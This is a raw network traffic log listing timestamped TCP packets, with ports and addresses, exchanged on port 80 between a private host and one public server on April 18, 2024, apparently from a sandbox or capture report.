Apr 18, 2024 23:05:21.700169086 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.700634956 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.700653076 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.700700045 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.700787067 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.700990915 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.709393024 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.709503889 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.709661961 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.709664106 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.709887028 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.709925890 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.709937096 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.710017920 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.710118055 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.710414886 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.710660934 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.710730076 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.710748911 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.710822105 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.710877895 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.710952997 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.711464882 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.711504936 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.711528063 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.711540937 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.711611032 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.711671114 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.711719990 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.711761951 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.712182045 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.712270021 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.712383986 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.712557077 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.713227034 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.713296890 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.713330984 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.713511944 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.713538885 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.713587999 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.713795900 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.713840008 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.714526892 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.714545965 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.714603901 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.714677095 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.714864016 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.714920044 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.715061903 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.716151953 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.716185093 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.716202021 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.716310978 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.716331959 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.716331959 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.716514111 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.716567993 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.717340946 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.717360020 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.717437029 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.717525959 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.717544079 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.717598915 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.717858076 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.718431950 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.718450069 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.718481064 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.718630075 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.718647957 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.718679905 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.719042063 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.719120979 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.719170094 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.719199896 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.719399929 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.719417095 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.719448090 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.719471931 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.719572067 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.719635963 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.719835043 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.719855070 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.719856977 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.719897032 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.720150948 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.720169067 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.720231056 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.720248938 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.720487118 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.720546007 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.720645905 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.720706940 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.720768929 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.720815897 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.720972061 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.721014977 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.721215010 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.721276045 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.721425056 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.721445084 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.721668005 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.721724033 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.721729040 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.722186089 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.722243071 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.722291946 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.722440958 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.722522974 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.722543955 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.764142036 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.853914976 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.853959084 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.854115009 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.854207993 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.854233027 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.854305029 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.854397058 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.854520082 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.854652882 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.854686975 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.854790926 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.855072021 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.855088949 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.855161905 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.855161905 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.855324984 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.855341911 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.855528116 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.855552912 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.855657101 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.855823040 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.855843067 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.855918884 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.856151104 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.856194019 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.856219053 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.856311083 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.856327057 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:21.856340885 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:21.856363058 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.083601952 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.084074020 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.084151983 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.228475094 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.228857994 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.229365110 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.242996931 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.276397943 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.276407003 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.276578903 CEST	49716	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.286648989 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.286655903 CEST	49724	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.387998104 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388026953 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388079882 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388107061 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388133049 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388221979 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388238907 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388247967 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388257027 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388273001 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388288021 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388293028 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388304949 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388309956 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388323069 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388339043 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388345957 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388355970 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388371944 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388386965 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388397932 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388402939 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388418913 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388423920 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388436079 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388442993 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388453007 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388468981 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388484001 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388489008 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388499975 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388504982 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388534069 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388551950 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388556004 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388567924 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388582945 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388597965 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388612986 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388633013 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388637066 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388653040 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388668060 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388673067 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388684988 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388693094 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388703108 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388719082 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388725042 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388736010 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388751984 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388768911 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388783932 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388788939 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388799906 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388807058 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388818026 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.388840914 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.388930082 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.421396017 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.421443939 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.421478033 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.421577930 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.421616077 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.421622038 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.421786070 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.421804905 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.421823978 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.421860933 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.421890020 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.421897888 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.421933889 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.421972036 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422007084 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422035933 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422044992 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422082901 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422118902 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422154903 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422190905 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422219992 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422224998 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422257900 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422265053 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422295094 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422302961 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422338963 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422353983 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422374964 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422410965 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422440052 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422447920 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422483921 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422497988 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422521114 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422555923 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422586918 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422595024 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422631979 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422660112 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422667027 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422703981 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422733068 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422739029 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422775030 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422802925 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422808886 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422843933 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422872066 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422878981 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422914982 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422944069 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.422949076 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.422987938 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.423017025 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.423022985 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.423058033 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.423084974 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.423091888 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.423135042 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.423173904 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.423176050 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.423254967 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.423930883 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.426508904 CEST	49716	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.430608034 CEST	80	49724	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.430641890 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.430759907 CEST	49724	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.430763006 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.430970907 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.431575060 CEST	49729	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.431896925 CEST	49731	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.431896925 CEST	49732	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.431901932 CEST	49730	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.432445049 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.492882967 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.532254934 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532284975 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532305002 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532320976 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532337904 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532354116 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532370090 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532380104 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.532388926 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532406092 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532419920 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.532427073 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532434940 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.532445908 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532461882 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532468081 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.532483101 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532505035 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.532716036 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532733917 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532742023 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.532783985 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532804012 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532820940 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532829046 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.532839060 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532855988 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532860994 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.532875061 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532879114 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.532938004 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532954931 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532963991 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.532973051 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.532989979 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533004999 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533013105 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533020973 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533037901 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533042908 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533056974 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533071995 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533080101 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533091068 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533098936 CEST	49719	80	192.168.2.16	208.109.76.254
